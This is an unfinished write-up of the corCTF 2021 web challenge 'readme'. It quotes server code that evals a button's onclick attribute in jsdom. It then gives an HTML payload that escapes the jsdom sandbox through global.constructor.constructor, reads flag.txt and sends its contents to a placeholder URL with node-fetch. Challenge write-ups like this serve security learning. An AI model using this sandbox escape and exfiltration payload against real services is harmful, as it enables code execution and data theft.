writeups/2021/corctf/readme
5225225 89ded5b79b 2021: corctf: draft work on readme 2021-08-26 22:15:06 +01:00
..
README.md 2021: corctf: draft work on readme 2021-08-26 22:15:06 +01:00
readme.tar 2021: corctf: draft work on readme 2021-08-26 22:15:06 +01:00

README.md

DRAFT : NOT FINISHED

readme

by 5225225

web / 478 pts / 46 solves

My new site readme is the ultimate tool for readers everywhere. Remove clutter from any site and also fetch the next chapters with the click of a button.

provided files: readme.tar (Original extension was incorrectly .tar.xz)

solution

Here, you were given a website with some server-side code to process a URL given to convert it to reader mode, using mozilla's readability library. I wasn't expecting a vulnerability in there, but readme also had the feature that it would try and go to things that looked like they were the next page. I won't paste the full index.js from the tar file, but the relevant section is

/**
 * Helper function to try and retrieve the next section of a site if it exists.
 */
const loadNextPage = async (dom, socket) => {
    let targets = [
        ...Array.from(dom.window.document.querySelectorAll("a")), 
        ...Array.from(dom.window.document.querySelectorAll("button"))
    ];
    targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));

    if(targets.length == 0) return;
    let target = targets[targets.length - 1];
    
    if(target.tagName === "A") {
        let newDom = await refetch(socket, target.href);
        return newDom;
    }
    else if(target.tagName === "BUTTON") {
        dom.window.eval(target.getAttribute("onclick"));
        return dom;
    }

    return;
};    

This will look for a tags as well as buttons. The ability to load a new page is not all that interesting here, so I skipped looking at the handling for a tags. The evaluation of buttons is interesting, as it uses jsdom to interpret the onclick of the given page.

You can't directly access properties exposed, but you can do a sandbox escape using the global constructor given.

<p id="hello">Hello, World!</p>
<button class="next" onclick="global.constructor.constructor('return process')().mainModule.require('fs').readFile('flag.txt', 'utf8', function(err, fuck) {
    const mod = global.constructor.constructor('return process')().mainModule;
    const fetch = mod.require('node-fetch');
    fetch('<URL>' + fuck)
})">Butt</button>